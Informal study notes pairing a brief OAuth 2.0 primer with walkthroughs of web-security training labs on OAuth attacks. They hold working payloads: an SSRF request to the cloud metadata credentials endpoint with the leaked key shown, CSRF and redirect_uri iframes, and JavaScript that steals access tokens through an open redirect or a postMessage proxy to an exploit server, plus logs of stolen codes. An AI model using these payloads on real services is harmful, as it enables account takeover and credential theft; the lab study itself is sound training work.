
Auth 2.0

Introduce OAuth 2.0

The OAuth 2.0 authorization framework enables a third-party application to obtain limited access to an HTTP service, either on behalf of a resource owner by orchestrating an approval interaction between the resource owner and the HTTP service, or by allowing the third-party application to obtain access on its own behalf.

This section will help developers understand the concepts in OAuth 2.0, but not in deep of OAuth 2.0. Here is an overview of a very simple OAuth 2.0 flow:



OAuth 2.0 Roles

There are usually four roles in an OAuth 2.0 flow. Let's take GitHub as an example, you are building an application to analyze one's code on GitHub:

- **Client**: a client is a third-party application, in this case, it is your application.
- **Resource Owner**: the users and orgs on GitHub are the resource owners, since they own their source code (resources).
- **Resource Server**: The API servers of GitHub. Your **client** will make requests to the resource server to fetch source code. The server serves resources.
- Authorization Server: The server for client to obtain an access token.

OAuth 2.0 Flow

The above image is a simplified version of an OAuth 2.0 authorization. Let's take GitHub as an example. A user wants to use your application to analyze his/her source code on GitHub.

It usually takes these steps:

- 1. Your application (**client**) prompts the user to log in.
- 2. The user clicks the *login* button, your application will redirect to GitHub's authorize page (**Authorization Server**).
- 3. The user (he/she is a GitHub user, which means he/she is a **Resource Owner**) clicks the *allow* button to tell GitHub that he/she granted the access.
- 4. The **Authorization Server** issues an **access token** to your application. (This step can contain several sub-steps)
- 5. Your application uses the **access token** to fetch source code from GitHub's **Resource Server**, analyze the source code and return the result to your application user.


But there are more details inside the flow. The most important thing in OAuth 2.0 is the authorization. A client obtains an access token from the authorization server with the grant of the resource owner.

Grant Types


Authorization server MAY supports several **grant types** during the **authorization**, step 1 and 2. A grant type defines a way of how the authorization server will verify the request and issue the token.

There are lots of built-in grant types in Authlib, including:

AuthorizationCodeGrant



• <u>ImplicitGrant</u>



Take authorization_code as an example, in step 2, when the resource owner granted the access, **Authorization Server** will return a code to the client. The client can use this code to exchange an access token:



Client Authentication Methods

In the above code, there is an Authorization header; it contains the information of the client. A client MUST provide its client information to obtain an access token. There are several ways to provide this data, for instance:

none: The client is a public client which means it has no client_secret

```
POST /token HTTP /1.1
Host: server.example.com
Content-Type: application/x-www-form-urlencoded
```

• client_secret_post: The client uses the HTTP POST parameters

```
POST /token HTTP /1.1
Host: server.example.com
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code=SplxIOBeZQQYbYS6WxSbIA
&client_id=s6BhdRkqt3&client_secret=gX1fBat3bV
```

client_secret_basic: The client uses HTTP Basic Authorization

```
POST /token HTTP /1.1
Host: server.example.com

Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW

Content-Type: application/x-www-form-urlencoded

grant_type=authorization_code&code=SplxIOBeZQQYbYS6WxSbIA
```

There are more client authentication methods defined by OAuth 2.0 extensions, including client_secret_jwt, private_key_jwt. They can be found in section <u>Using JWTs for Client Authentication</u>.

Token Scopes

Scope is a very important concept in OAuth 2.0. An access token is usually issued with limited scopes.

For instance, your "source code analyzer" application MAY only have access to the public repositories of a GiHub user.

Endpoints

The above example only shows one endpoint, which is **token endpoint**. There are more endpoints in OAuth 2.0. For example:


- Token Revocation Endpoint
- **Dynamic Client Registration Endpoint**
- Token Introspection Endpoint

Lab: Authentication bypass via OAuth implicit flow

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users' accounts without knowing their password.

To solve the lab, log in to Carlos's account. His email address is carlos@carlos-montoya.net.

You can log in with your own social media account using the following credentials: wiener:peter.



```
Request
                                                                         Response
                                                       Ø 🚍 \n ≡
 Pretty Raw
                Hex
                                                                                  Raw
                                                                         1 HTTP/2 302 Found
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
Accept: application/json
Accept-Language: en-US,en;q=0.5
                                                                          Set-Cookie: session=ylZ6uKvKq6beySw6RwfsN6eZ2Fg3i1YM;
                                                                         Secure; HttpOnly; SameSite=None
4 X-Frame-Options: SAMEORIGIN
 7 Accept-Encoding: gzip, deflate, br
8 Referer:
                                                                         5 Content-Length: 0
   https://0a670074040a0be4819843cf009d0007.web-security-acad
9 Content-Type: application/json
10 Content-Length: 111
11 Origin:
   https://0a670074040a0be4819843cf009d0007.web-security-acad
12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors
   Sec-Fetch-Site: same-origin
15 Priority: u=4
16 Te: trailers
     "username":"carlos",
"token":"dt7WUmzgWAnmada4d8wFYGMUX665jSP
```

Lab: SSRF via OpenID dynamic client registration

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF.

To solve the lab, craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider's cloud environment.


You can log in to your own account using the following credentials: wiener:peter

```
Target: https://oauth-0a4e00fb03665c9480e701b002190060.oauth-server.net // HTTP/2 🧿 🔀
                                                                                Response
 Pretty
                                                                                 Pretty
   Host:
                                                                                         ],
"id_token_signing_alg_values_supported":[
   Cookie: _interaction_resume=ZzfwOlSWiJRjfhp1_10ZN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:137.0) Gecko/20100101 Firefox/137.0
                                                                                                                                                                "ES256",
                                                                                                                                                                   ci
   Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
   .
Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate, br
Te: trailers
                                                                                         "https://oauth-0a4e00fb03665c9480e701b002190060.oauth-server.net",  
                                                                                          "https://oauth-0a4e00fb03665c9480e701b002190060.oauth
                                                                                          "registration_endpoint":
"https://oauth-0a4e00fb03665c9480e701b002190060.oauth
                                                                                          -server.net/reg",
"response_modes_supported":[
"form_post",
                                                                                               "fragment",
"query"
                                                                                          ],
"response_types_supported":[
② ۞ ← → Search


    Ø highlights ② ② ← → Search
```

/.well-known/openid-configuration


We got the registration url



IF we are trying on /reg url we are not allowed with get method so not lets try with post



now allowed but they want something json




we have succesfully registred and we have got the token now lets use that token and see what we get


```
Request
                                                                       Response
                                                     Ø 🚍 \n ≡
                                                                                                                               In ≡
 Pretty
                                                                       Pretty
  GET /client/g6Hl5aTQzmasOqzBsJAvQ/logo HTTP/2
                                                                         HTTP/2 200 OK
                                                                         X-Powered-By: Express
   oauth-0a4e00fb03665c9480e701b002190060.oauth-server.net
                                                                       3 Content-Type: text/html; charset=utf-8
 Cookie: _session=hUq72CdglmnOgMGc7vwsa; _session.legacy=
hUq72CdglmnOgMGc7vwsa
                                                                       4 Date: Fri, 04 Apr 2025 09:40:12 GMT
                                                                         Keep-Alive: timeout=5
 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
                                                                         Content-Length: 1053
 5 Accept:
                                                                       8 <html>
   image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.
                                                                           <body>
   8,*/*;q=0.5
                                                                             <div id="academyLabHeader">
                                                                                <section class="academyLabBanner">
     <div class="container">
 6 Accept-Language: en-US, en; q=0.5
 7 Accept-Encoding: gzip, deflate, br
                                                                                   <img src="</pre>
8 Referer:
                                                                                    /resources/labheader/images/logoAcademy.svg">
<div class="title-container">
   https://oauth-0a4e00fb03665c9480e701b002190060.oauth-serve
   r.net/interaction/ZzfwOlSWiJRjfhp1_I0ZN
9 Sec-Fetch-Dest: image
10 Sec-Fetch-Mode: no-cors
                                                                                        SSRF via OpenID dynamic client registration
11 Sec-Fetch-Site: same-origin
12 Priority: u=4, i
13 Te: trailers
                                                                                      <a id="lab-link" class="button" href="</pre>
                                                                                        Back to lab home
                                                                                      <a class="link-back" href="</pre>
② ﴿ ← → Search
                                                                     ② ﴿ → Search
                                                                                                                           D 0 highlights


∠ 0 highlights
```

We got the 200 response so now letss see on the collaborator



"so this is kind of SSRF so now lets acces the someting internal"





{"redirect_uris": ["http://example.com"],"logo_uri":"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"}

```
Target: https://oauth-0a4e00fb03665c9480e701b002190060.oauth-server.net
Request
                                                                 Response
 Pretty
                                                                  Pretty Raw
 1 GET /client/xjgchOHZAr8bYbuDXi6UP/logo HTTP/2
                                                                 1 HTTP/2 200 OK
                                                                 2 X-Powered-By: Express
  Host:
   oauth-0a6a001803c47c9b806f10f702e000ac.oauth-server.net
                                                                 3 Content-Type: application/json; charset=utf-8
  Cookie: _session=hUq72CdglmnOgMGc7vwsa; _session.legacy=
                                                                   Date: Fri, 04 Apr 2025 10:21:50 GMT
   hUq72CdglmnOgMGc7vwsa
                                                                   Keep-Alive: timeout=5
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
                                                                   Content-Length: 530
  rv:137.0) Gecko/20100101 Firefox/137.0
                                                                     "Code":"Success",
"LastUpdated":"2025-04-04T10:19:54.842275793Z",
  image/a \verb|vif,image/webp,image/png,image/s \verb|vg+xml,image/*|; q=0.
  8,*/*;q=0.5
                                                                     "Type":"AWS-HMAC"
 6 Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate, br
8 Referer:
  https://oauth-0a6a001803c47c9b806f10f702e000ac.oauth-serve
  r.net/interaction/ZzfwOlSWiJRjfhp1_I0ZN
   Sec-Fetch-Dest: image
                                                                      GlbWnVMav7ZVlPpb8hFu6GD20wW1iu766BCCd0c2dInmAnuGm6mmCt1G
10 Sec-Fetch-Mode: no-cors
11 Sec-Fetch-Site: same-origin
                                                                      JiFtn9ke9aC2LSRmeXvOCphZzaGGhR22A16n2jyf0zjk7aPegxDj6hy7
                                                                      XV2oocx4IniqOn5sgkNWCnruyLxCQT8ukdqtGD8MMR4G4jvPkZdYpGkd
  Priority: u=4, i
  Te: trailers
                                                                      sBsHFWKRKutcOSWg15uu8mjWY9h9jnWGR",
                                                                      "Expiration":"2031-04-03T10:19:54.842275793Z"
② ② ← → Search

    Ø highlights ② ② ← → Search

                                                                                                                  D 0 highlights
```

Lab: Forced OAuth profile linking

This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users' accounts.

To solve the lab, use a CSRF attack to attach your own social media profile to the admin user's account on the blog website, then access the admin panel and delete

The admin user will open anything you send from the exploit server and they always have an active session on the blog website.

You can log in to your own accounts using the following credentials:


- Blog website account: wiener:peter
- Social media profile: peter.wiener:hotdog

here the unique key is use to link the social id

```
Request
                                                 Ø 🚍 N ≡
 Pretty
         Raw
               Hex
 1 GET /oauth-linking?code=
   aSN6L-aVrYexNPhdX0DfFa5-kV9bJ75dZLhHG1Sr4wC HTTP/2
 2 Host:
   0a64005803972f7780d949ee0029005e.web-security-academy.net
 3 Cookie: session=JEc7pOy0jyWQ70LAh8jIo1BRYjs6PUKj
 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64;
   rv:137.0) Gecko/20100101 Firefox/137.0
 5 Accept:
   text/html,application/xhtml+xml,application/xml;q=0.9,*/*;
   q = 0.8
 6 Accept-Language: en-US, en; q=0.5
 7 Accept-Encoding: gzip, deflate, br
 8 Referer:
   https://0a64005803972f7780d949ee0029005e.web-security-acad
   emy.net/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: cross-site
13 Sec-Fetch-User: ?1
14 Priority: u=0, i
15 Te: trailers
17
```

but when ever you refresh you will get new id

so for unique intercetp this request and copy the url and drop the request



now got to exploit server

```
<iframe src="paste the url"></iframe>
```

and store

and delevery to victim

now got and make logout and again login but with social media

you fill find admin panel boom



Lab: OAuth account hijacking via redirect_uri

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users' accounts.


To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user

carlos.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in with your own social media account using the following credentials: wiener:peter.

here we have the redirecting url




remove the normal url and put the exploit server url copy the url and paste it in exploit server in iframe




<iframe src=" paste it here!!!!"></iframe>

and delever to victim

103.82.41.179 2025-04-04 10:50:22 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137 2025-04-04 10:50:22 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows N 103.82.41.179 2025-04-04 10:50:55 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137 103.82.41.179 103.82.41.179 2025-04-04 10:50:55 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows N 103.82.41.179 2025-04-04 10:51:20 +0000 "POST / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137 2025-04-04 10:51:20 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 103.82.41.179 2025-04-04 10:51:23 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137 103.82.41.179 2025-04-04 10:51:23 +0000 "GET /exploit HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; 2025-04-04 10:51:30 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137 103.82.41.179 2025-04-04 10:51:30 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Wi 103.82.41.179 2025-04-04 10:51:30 +0000 "GET_/exploit/_HTTP/1_1" 200 "user-agent: Mozilla/5_0 (Victim) AppleWebKit/537.36 (10.0.4.148 2025-04-04 10:51:30 +0000 "GET /?code=NFTEkIFXK_PW5_YALhr_DYMdobpU_vY7mB-7XwOuCra HTTP/1.1" 200 "user-agent: 2025-04-04 10:51:30 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) Appreciation of the control of 10.0.4.148 103.82.41.179 2025-04-04 10:51:31 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137. 103.82.41.179 2025-04-04 10:51:31 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows N 2025-04-04 10:51:38 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137 103.82.41.179 2025-04-04 10:51:38 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv: 103.82.41.179 2025-04-04 10:51:38 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows N





Lab: Stealing OAuth access tokens via an open redirect

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.


To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user's account. Use the access token to obtain the admin's API key and submit the solution using the button provided in the lab banner.


Note


You cannot access the admin's API key by simply logging in to their account on the client application.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.







```
Hello, world!


<script>

if(!document.location.hash){

document.location = "https://oauth-0aed003f03fb55228012064b02a9

00ad.oauth-server.net/auth?client_id=qogma21ve7cyaxeiolipw&redirect_uri
=https://0aab00ba03f0557380de08a400fb00a0.web-security-academy.n
et/oauth-callback/../post/next?path=https://exploit-0a7c00bf03e9554780f
8075601c900b0.exploit-server.net/exploit&response_type=token&nonce=1
585568770&scope=openid%20profile%20email"
} else {

window.location = '/?'+document.location.hash.substr(1)
}
</script>
```



Lab: Stealing OAuth access tokens via a proxy page

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user's account. Use the access token to obtain the admin's API


key and submit the solution using the button provided in the lab banner.


The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

login with your credential go to my account

logout and go to
again login this time
no need to put anything
it will automaticall
login with that token







<script>

```
window.addEventListener('message', function(e) {
    fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>
```

```
103.82.41.179 2025-04-05 10:42:48 +0000 "GET /undefined HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko 103.82.41.179 2025-04-05 10:42:48 +0000 "GET /undefined HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko 103.82.41.179 2025-04-05 10:42:48 +0000 "GET /undefined HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko 103.82.41.179 2025-04-05 10:42:50 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko 2025-04-05 10:46:28 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/2010010 103.82.41.179 2025-04-05 10:46:28 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/2010010 103.82.41.179 2025-04-05 10:46:30 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/2010010 103.82.41.179 2025-04-05 10:46:31 +0000 "GET /undefined HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20103.82.41.179 2025-04-05 10:46:33 +0000 "GET /undefined HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20103.82.41.179 2025-04-05 10:46:33 +0000 "GET /undefined HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20103.82.41.179 2025-04-05 10:46:33 +0000 "GET /undefined HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20103.82.41.179 2025-04-05 10:46:33 +0000 "GET /undefined HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20103.82.41.179 2025-04-05 10:46:38 +0000 "GET /undefined HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20103.82.41.179 2025-04-05 10:46:38 +0000 "GET /undefined HTTP/1.1" 302 "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20103.82.41.179 2025-04-05 10:46:38 +0000 "GET /undefined HT
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; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"
zilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"
9: Win64: x64: rv:137.0) Gecko/20100101 Firefox/137.0"
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